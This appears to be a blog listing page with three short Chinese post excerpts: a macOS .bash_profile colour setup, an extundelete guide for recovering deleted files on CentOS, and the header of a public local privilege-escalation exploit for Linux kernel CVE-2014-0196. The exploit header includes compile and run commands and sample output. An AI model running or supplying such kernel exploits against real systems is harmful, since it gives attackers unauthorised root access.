2014-05-13 22:29:10

[zone]CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition

zone:http://zone.wooyun.org/content/12261 /* * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition * * Slightly-less-than-POC privilege escalation exploit * For kernels >= v3.14-rc1 * * Matthew Daley <mattd@bugfuzz.com> * * Usage: * $ gcc cve-2014-0196-md.c -lutil -lpthread * $ ./a.out * [+] Resolving symbols * [+] Resolved commit_creds: 0xffffffff81056694 * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 * [+] Doing once-off allocations * [+] Attempting to overflow into a tty_struct............... * [+] Got it :)

2014-02-07 14:48:23

mac 控制台高亮.bash_profile

编辑当前用户下的.bash_profile文件(默认不存在) vim ~/.bash_profile 复制: export CLICOLOR=1 export LSCOLORS=ExFxCxDxBxegedabagacad alias ll="ls -l" alias la="ls -a" alias l="ls -a -l" alias subl="/Applications/Sublime\ Text.app/Contents/SharedSupport/bin/subl" txtblk='\e[0;30m' # Black - Regular txtred='\e[0;31m' # Red txtgrn='\e[0;32m' # Green txtylw='\e[0;33m' # Yellow txtblu='\e[0;34m' # Blue txtpur='\e[0;35m' # Purple txtcyn='\e[0;36m' # Cyan txtwht='\e[0;37m' # White bldblk='\e[1;30m&

2013-12-05 11:26:44

Linux下恢复rm删除的文件 (CentOS)

今天误删除了Centos服务器上的某个文件夹,找了下恢复,ext3grep,extundelete等,因为文件系统是ext4的,只能使用extundelete 1. 安装依赖 yum -y install e2fsprogs e2fsprogs-devel 2. 去http://extundelete.sourceforge.net/下载extundelete-0.2.4.tar.bz2并安装 tar -xjf extundelete-0.2.4.tar.bz2 cd extundelete-0.2.4 ./configure make make install 3. 恢复 extundelete /dev/***(挂载的硬盘) –restore-all  (可以先df一下确认下删除的文件夹所在的硬盘) 4. 去当前目录RECOVERED_FILES下查看恢复的文件吧